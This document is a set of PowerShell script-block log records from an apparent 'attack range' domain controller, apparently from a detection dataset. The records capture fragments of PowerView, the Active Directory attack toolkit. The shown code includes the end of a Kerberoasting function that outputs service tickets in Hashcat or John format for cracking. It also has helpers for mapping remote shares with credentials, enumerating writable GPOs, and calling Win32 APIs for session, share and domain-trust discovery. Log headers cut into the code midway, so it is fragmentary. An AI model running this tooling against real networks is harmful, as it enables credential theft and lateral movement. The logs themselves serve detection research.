PowerView.User
Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
#>
[OutputType('PowerView.SPNTicket')]
[CmdletBinding(DefaultParameterSetName = 'RawSPN')]
Param (
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('.*/.*')]
[Alias('ServicePrincipalName')]
[String[]]
$SPN,
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
[Object[]]
$User,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'Hashcat',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
if ($PSBoundParameters['User']) {
$TargetObject = $User
}
else {
$TargetObject = $SPN
}
ForEach ($Object in $TargetObject) {
if ($PSBoundParameters['User']) {
$UserSPN = $Object.ServicePrincipalName
$SamAccountName =772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112061Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local662'SetProperty', $NULL, $Object, $Parameters)
}
# https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx
if ($PSBoundParameters['Server']) {
$ADSInitType = 2
$InitName = $Server
}
elseif ($PSBoundParameters['Domain']) {
$ADSInitType = 1
$InitName = $Domain
}
elseif ($PSBoundParameters['Credential']) {
$Cred = $Credential.GetNetworkCredential()
$ADSInitType = 1
$InitName = $Cred.Domain
}
else {
# if no domain or server is specified, default to GC initialization
$ADSInitType = 3
$InitName = $Null
}
}
PROCESS {
ForEach ($TargetIdentity in $Identity) {
if (-not $PSBoundParameters['OutputType']) {
if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") {
$ADSOutputType = $NameTypes['DomainSimple']
}
else {
$ADSOutputType = $NameTypes['NT4']
}
}
else {
$ADSOutputType = $NameTypes[$OutputType]
}
$Translate = New-Object -ComObject NameTranslate
if ($PSBoundParameters['Credential']) {
try {
$Cred = $Credential.GetNetworkCredential()
Invoke-Method $Translate 'InitEx' (
$ADSInitType,
$InitName,
$Cred.UserName,
$Cred.Domain,
$Cred.Password
)
}
catch {
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_"
}
}
else {
try {
$Null = Invoke-Method $Translate 'Init' (
$ADSInitType,
$InitName
)
}
catch {
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"
}
}
# always chase all referrals
Set-Property $Translate 'ChaseReferral' (0x60)
try {
# 8 = Unknown name type -> let the server do the work for us
$Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)
Invoke-Method $Translate 'Get' ($ADSOutputType)
}
catch [System.Management.Automation.MethodInvocationException] {
Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)"
}
}
}
}
function ConvertFrom-UACValue {
<#
.SYNOPSIS
Converts a UAC int value to human readable form.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function will take an integer that represents a User Account
Control (UAC) binary blob and will covert it to an ordered
dictionary with each bitwise value broken out. By default only values
set are displayed- the -ShowAll switch will display all values with
a + next to the ones set.
.PARAMETER Value
Specifies the integer UAC value to convert.
.PARAMETER ShowAll
Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set.
.EXAMPLE
ConvertFrom-UACValue -Value 66176
Name Value
---- -----
ENCRYPTED_TEXT_PWD_ALLOWED 128
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser harmj0y | ConvertFrom-UACValue
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll
Name Value
---- -----
SCRIPT 1
ACCOUNTDISABLE 2
HOMEDIR_REQUIRED 8
LOCKOUT 16
PASSWD_NOTREQD 32
PASSWD_CANT_CHANGE 64
ENCRYPTED_TEXT_PWD_ALLOWED 128
TEMP_DUPLICATE_ACCOUNT 256
NORMAL_ACCOUNT 512+
INTERDOMAIN_TRUST_ACCOUNT 2048
WORKSTATION_TRUST_ACCOUNT 4096
SERVER_TRUST_ACCOUNT 8192
DONT_EXPIRE_PASSWORD 65536+
MNS_LOGON_ACCOUNT 131072
SMARTCARD_REQUIRED 262144
TRUSTED_FOR_DELEGATION 524288
NOT_DELEGATED 1048576
USE_DES_KEY_ONLY 2097152
DONT_REQ_PREAUTH 4194304
PASSWORD_EXPIRED 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION 16777216
PARTIAL_SECRETS_ACCOUNT 67108864
.INPUTS
Int
Accepts an integer representing a UAC binary blob.
.OUTPUTS
System.Collections.Specialized.OrderedDictionary
An ordered dictionary with the converted UAC fields.
.LINK
https://support.microsoft.com/en-us/kb/305144
#>
[OutputType('System.Collections.Specialized.OrderedDictionary')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('UAC', 'useraccountcontrol')]
[Int]
$Value,
[Switch]
$ShowAll
)
BEGIN {
# values from https://support.microsoft.com/en-us/kb/305144
$UACValues = New-Object System.Collections.Specialized.OrderedDictionary
$UACValues.Add("SCRIPT", 1)
$UACValues.Add("ACCOUNTDISABLE", 2)
$UACValues.Add("HOMEDIR_REQUIRED", 8)
$UACValues.Add("LOCKOUT", 16)
$UACValues.Add("PASSWD_NOTREQD", 32)
$UACValues.Add("PASSWD_CANT_CHANGE", 64)
$UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
$UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
$UACValues.Add("NORMAL_ACCOUNT", 512)
$UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
$UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
$UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
$UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
$UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
$UACValues.Add("SMARTCARD_REQUIRED", 262144)
$UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
$UACValues.Add("NOT_DELEGATED", 1048576)
$UACValues.Add("USE_DES_KEY_ONLY", 2097152)
$UACValues.Add("DONT_REQ_PREAUTH", 4194304)
$UACValues.Add("PASSWORD_EXPIRED", 8388608)
$UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
$UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
}
PROCESS {
$ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
if ($ShowAll) {
ForEach ($UACValue in $UACValues.GetEnumerator()) {
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
}
else {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
else {
ForEach ($UACValue in $UACValues.GetEnumerator()) {
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
$ResultUACValues
}
}
function Get-PrincipalContext {
<#
.SYNOPSIS
Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext
and simplified identity.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER Identity
A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202),
or a DOMAIN\username identity.
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('GroupName', 'GroupIdentity')]
[String]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
try {
if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) {
if ($Identity -match '.+\\.+') {
# DOMAIN\groupname
$ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical
if ($ConvertedIdentity) {
$ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/'))
$ObjectIdentity = $Identity.Split('\')[1]
Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'"
}
}
else {
$ObjectIdentity = $Identity
Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'"
$ConnectTarget = $Domain
}
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password)
}
else {
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget)
}
}
else {
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
$DomainName = Get-Domain | Select-Object -ExpandProperty Name
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password)
}
else {
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
}
$ObjectIdentity = $Identity
}
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'Context' $Context
$Out | Add-Member Noteproperty 'Identity' $ObjectIdentity
$Out
}
catch {
Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_"
}
}
function Add-RemoteConnection {
<#
.SYNOPSIS
Pseudo "mounts" a connection to a remote path using the specified
credential object, allowing for access of remote resources. If a -Path isn't
specified, a -ComputerName is required to pseudo-mount IPC$.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection
to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the
-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$.
To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path
or -ComputerName.
.PARAMETER ComputerName
Specifies the system to add a \\ComputerName\IPC$ connection for.
.PARAMETER Path
Specifies the remote \\UNC\path to add the connection for.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
$Cred = Get-Credential
Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credentia772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112059Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local462 [Alias('FullName', 'Name')]
[ValidateNotNullOrEmpty()]
[String[]]
$Path,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$OutputObject
)
BEGIN {
$MappedComputers = @{}
}
PROCESS {
ForEach ($TargetPath in $Path) {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
if (Test-Path -Path $TargetPath) {
if ($PSBoundParameters['OutputObject']) {
$IniObject = New-Object PSObject
}
else {
$IniObject = @{}
}
Switch -Regex -File $TargetPath {
"^\[(.+)\]" # Section
{
$Section = $matches[1].Trim()
if ($PSBoundParameters['OutputObject']) {
$Section = $Section.Replace(' ', '')
$SectionObject = New-Object PSObject
$IniObject | Add-Member Noteproperty $Section $SectionObject
}
else {
$IniObject[$Section] = @{}
}
$CommentCount = 0
}
"^(;.*)$" # Comment
{
$Value = $matches[1].Trim()
$CommentCount = $CommentCount + 1
$Name = 'Comment' + $CommentCount
if ($PSBoundParameters['OutputObject']) {
$Name = $Name.Replace(' ', '')
$IniObject.$Section | Add-Member Noteproperty $Name $Value
}
else {
$IniObject[$Section][$Name] = $Value
}
}
"(.+?)\s*=(.*)" # Key
{
$Name, $Value = $matches[1..2]
$Name = $Name.Trim()
$Values = $Value.split(',') | ForEach-Object { $_.Trim() }
# if ($Values -isnot [System.Array]) { $Values = @($Values) }
if ($PSBoundParameters['OutputObject']) {
$Name = $Name.Replace(' ', '')
$IniObject.$Section | Add-Member Noteproperty $Name $Values
}
else {
$IniObject[$Section][$Name] = $Values
}
}
}
$IniObject
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
function Export-PowerViewCSV {
<#
.SYNOPSIS
Converts objects into a series of comma-separated (CSV) strings and saves the
strings in a CSV file in a thread-safe manner.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This helper exports an -InputObject to a .csv in a thread-safe manner
using a mutex. This is so the various multi-threaded functions in
PowerView has a thread-safe way to export output to the same file.
Uses .NET IO.FileStream/IO.StreamWriter objects for speed.
Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590
.PARAMETER InputObject
Specifies the objects to export as CSV strings.
.PARAMETER Path
Specifies the path to the CSV output file.
.PARAMETER Delimiter
Specifies a delimiter to separate the property values. The default is a comma (,)
.PARAMETER Append
Indicates that this cmdlet adds the CSV output to the end of the specified file.
Without this parameter, Export-PowerViewCSV replaces the file contents without warning.
.EXAMPLE
Get-DomainUser | Export-PowerViewCSV -Path "users.csv"
.EXAMPLE
Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'
.INPUTS
PSObject
Accepts one or more PSObjects on the pipeline.
.LINK
http://poshcode.org/1590
http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[System.Management.Automation.PSObject[]]
$InputObject,
[Parameter(Mandatory = $True, Position = 1)]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Parameter(Position = 2)]
[ValidateNotNullOrEmpty()]
[Char]
$Delimiter = ',',
[Switch]
$Append
)
BEGIN {
$OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path'])
$Exists = [System.IO.File]::Exists($OutputPath)
# mutex so threaded code doesn't stomp on the output file
$Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'
$Null = $Mutex.WaitOne()
if ($PSBoundParameters['Append']) {
$FileMode = [System.IO.FileMode]::Append
}
else {
$FileMode = [System.IO.FileMode]::Create
$Exists = $False
}
$CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read)
$CSVWriter = New-Object System.IO.StreamWriter($CSVStream)
$CSVWriter.AutoFlush = $True
}
PROCESS {
ForEach ($Entry in $InputObject) {
$ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation
if (-not $Exists) {
# output the object field names as well
$ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) }
$Exists = $True
}
else {
# only output object field data
$ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) }
}
}
}
END {
$Mutex.ReleaseMutex()
$CSVWriter.Dispose()
$CSVStream.Dispose()
}
}
function Resolve-IPAddress {
<#
.SYNOPSIS
Resolves a given hostename to its associated IPv4 address.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Resolves a given hostename to its associated IPv4 address using
[Net.Dns]::GetHostEntry(). If no hostname is provided, the default
is the IP address of the localhost.
.EXAMPLE
Resolve-IPAddress -ComputerName SERVER
.EXAMPLE
@("SERVER1", "SERVER2") | Resolve-IPAddress
.INPUTS
String
Accepts one or more IP address strings on the pipeline.
.OUTPUTS
System.Management.Automation.PSCustomObject
A custom PSObject with the ComputerName and IPAddress.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME
)
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
@(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
if ($_.AddressFamily -eq 'InterNetwork') {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ComputerName' $Computer
$Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
$Out
}
}
}
catch {
Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address."
}
}
}
}
function ConvertTo-SID {
<#
.SYNOPSIS
Converts a given user/group name to a security identifier (SID).
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain
.DESCRIPTION
Converts a "DOMAIN\username" syntax to a security identifier (SID)
using System.Security.Principal.NTAccount's translate function. If alternate
credentials are supplied, then Get-ADObject is used to try to map the name
to a security identifier.
.PARAMETER ObjectName
The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
.PARAMETER Domain
Specifies the domain to use for the translation, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the translation.
.PARAMETER Credential
Specifies an alternate credential to use for the translation.
.EXAMPLE
ConvertTo-SID 'DEV\dfm'
.EXAMPLE
'DEV\dfm','DEV\krbtgt' | ConvertTo-SID
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred
.INPUTS
String
Accepts one or more username specification strings on the pipeline.
.OUTPUTS
String
A string representing the SID of the translated name.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name', 'Identity')]
[String[]]
$ObjectName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$DomainSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential }
}
PROCESS {
ForEach ($Object in $ObjectName) {
$Object = $Object -Replace '/','\'
if ($PSBoundParameters['Credential']) {
$DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments
if ($DN) {
$UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
$UserName = $DN.Split(',')[0].split('=')[1]
$DomainSearcherArguments['Identity'] = $UserName
$DomainSearcherArguments['Domain'] = $UserDomain
$DomainSearcherArguments['Properties'] = 'objectsid'
Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid
}
}
else {
try {
if ($Object.Contains('\')) {
$Domain = $Object.Split('\')[0]
$Object = $Object.Split('\')[1]
}
elseif (-not $PSBoundParameters['Domain']) {
$DomainSearcherArguments = @{}
$Domain = (Get-Domain @DomainSearcherArguments).Name
}
$Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object))
$Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
}
catch {
Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_"
}
}
}
}
}
function ConvertFrom-SID {
<#
.SYNOPSIS
Converts a security identifier (SID) to a group/user name.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required De772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0111965Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4848
$Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
$DomainList = @($Forest.Domains)
$Domains = $DomainList | foreach { $_.GetDirectoryEntry() }
foreach ($Domain in $Domains) {
$Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))"
$Searcher = New-Object System.DirectoryServices.DirectorySearcher
$Searcher.SearchRoot = $Domain
$Searcher.Filter = $Filter
$Searcher.PageSize = $PageSize
$Searcher.SearchScope = "Subtree"
$listGPO = $Searcher.FindAll()
foreach ($gpo in $listGPO){
$ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"}
if ($ACL -ne $null){
$GpoACL = New-Object psobject
$GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath
$GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname
$GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference
$GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights
$GpoACL
}
}
}
}
########################################################
#
# Expose the Win32API functions and datastructures below
# using PSReflect.
# Warning: Once these are executed, they are baked in
# and can't be changed while the script is running!
#
########################################################
$Mod = New-InMemoryModule -ModuleName Win32
# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')]
# used to parse the 'samAccountType' property for users/computers/groups
$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{
DOMAIN_OBJECT = '0x00000000'
GROUP_OBJECT = '0x10000000'
NON_SECURITY_GROUP_OBJECT = '0x10000001'
ALIAS_OBJECT = '0x20000000'
NON_SECURITY_ALIAS_OBJECT = '0x20000001'
USER_OBJECT = '0x30000000'
MACHINE_ACCOUNT = '0x30000001'
TRUST_ACCOUNT = '0x30000002'
APP_BASIC_GROUP = '0x40000000'
APP_QUERY_GROUP = '0x40000001'
ACCOUNT_TYPE_MAX = '0x7fffffff'
}
# used to parse the 'grouptype' property for groups
$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{
CREATED_BY_SYSTEM = '0x00000001'
GLOBAL_SCOPE = '0x00000002'
DOMAIN_LOCAL_SCOPE = '0x00000004'
UNIVERSAL_SCOPE = '0x00000008'
APP_BASIC = '0x00000010'
APP_QUERY = '0x00000020'
SECURITY = '0x80000000'
} -Bitfield
# used to parse the 'userAccountControl' property for users/groups
$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{
SCRIPT = 1
ACCOUNTDISABLE = 2
HOMEDIR_REQUIRED = 8
LOCKOUT = 16
PASSWD_NOTREQD = 32
PASSWD_CANT_CHANGE = 64
ENCRYPTED_TEXT_PWD_ALLOWED = 128
TEMP_DUPLICATE_ACCOUNT = 256
NORMAL_ACCOUNT = 512
INTERDOMAIN_TRUST_ACCOUNT = 2048
WORKSTATION_TRUST_ACCOUNT = 4096
SERVER_TRUST_ACCOUNT = 8192
DONT_EXPIRE_PASSWORD = 65536
MNS_LOGON_ACCOUNT = 131072
SMARTCARD_REQUIRED = 262144
TRUSTED_FOR_DELEGATION = 524288
NOT_DELEGATED = 1048576
USE_DES_KEY_ONLY = 2097152
DONT_REQ_PREAUTH = 4194304
PASSWORD_EXPIRED = 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216
PARTIAL_SECRETS_ACCOUNT = 67108864
} -Bitfield
# enum used by $WTS_SESSION_INFO_1 below
$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
Active = 0
Connected = 1
ConnectQuery = 2
Shadow = 3
Disconnected = 4
Idle = 5
Listen = 6
Reset = 7
Down = 8
Init = 9
}
# the WTSEnumerateSessionsEx result structure
$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{
ExecEnvId = field 0 UInt32
State = field 1 $WTSConnectState
SessionId = field 2 UInt32
pSessionName = field 3 String -MarshalAs @('LPWStr')
pHostName = field 4 String -MarshalAs @('LPWStr')
pUserName = field 5 String -MarshalAs @('LPWStr')
pDomainName = field 6 String -MarshalAs @('LPWStr')
pFarmName = field 7 String -MarshalAs @('LPWStr')
}
# the particular WTSQuerySessionInformation result structure
$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
AddressFamily = field 0 UInt32
Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
}
# the NetShareEnum result structure
$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{
Name = field 0 String -MarshalAs @('LPWStr')
Type = field 1 UInt32
Remark = field 2 String -MarshalAs @('LPWStr')
}
# the NetWkstaUserEnum result structure
$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{
UserName = field 0 String -MarshalAs @('LPWStr')
LogonDomain = field 1 String -MarshalAs @('LPWStr')
AuthDomains = field 2 String -MarshalAs @('LPWStr')
LogonServer = field 3 String -MarshalAs @('LPWStr')
}
# the NetSessionEnum result structure
$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{
CName = field 0 String -MarshalAs @('LPWStr')
UserName = field 1 String -MarshalAs @('LPWStr')
Time = field 2 UInt32
IdleTime = field 3 UInt32
}
# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
SidTypeUser = 1
SidTypeGroup = 2
SidTypeDomain = 3
SidTypeAlias = 4
SidTypeWellKnownGroup = 5
SidTypeDeletedAccount = 6
SidTypeInvalid = 7
SidTypeUnknown = 8
SidTypeComputer = 9
}
# the NetLocalGroupEnum result structure
$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{
lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
}
# the NetLocalGroupGetMembers result structure
$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
lgrmi2_sid = field 0 IntPtr
lgrmi2_sidusage = field 1 $SID_NAME_USE
lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
}
# enums used in DS_DOMAIN_TRUSTS
$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
IN_FOREST = 1
DIRECT_OUTBOUND = 2
TREE_ROOT = 4
PRIMARY = 8
NATIVE_MODE = 16
DIRECT_INBOUND = 32
} -Bitfield
$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
DOWNLEVEL = 1
UPLEVEL = 2
MIT = 3
DCE = 4
}
$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
NON_TRANSITIVE = 1
UPLEVEL_ONLY = 2
FILTER_SIDS = 4
FOREST_TRANSITIVE = 8
CROSS_ORGANIZATION = 16
WITHIN_FOREST = 32
TREAT_AS_EXTERNAL = 64
}
# the DsEnumerateDomainTrusts result structure
$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
DnsDomainName = field 1 String -MarshalAs @('LPWStr')
Flags = field 2 $DsDomainFlag
ParentIndex = field 3 UInt32
TrustType = field 4 $DsDomainTrustType
TrustAttributes = field 5 $DsDomainTrustAttributes
DomainSid = field 6 IntPtr
DomainGuid = field 7 Guid
}
# used by WNetAddConnection2W
$NETRESOURCEW = struct $Mod NETRESOURCEW @{
dwScope = field 0 UInt32
dwType = field 1 UInt32
dwDisplayType = field 2 UInt32
dwUsage = field 3 UInt32
lpLocalName = field 4 String -MarshalAs @('LPWStr')
lpRemoteName = field 5 String -MarshalAs @('LPWStr')
lpComment = field 6 String -MarshalAs @('LPWStr')
lpProvider = field 7 String -MarshalAs @('LPWStr')
}
# all of the Win32 API functions we need
$FunctionDefinitions = @(
(func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
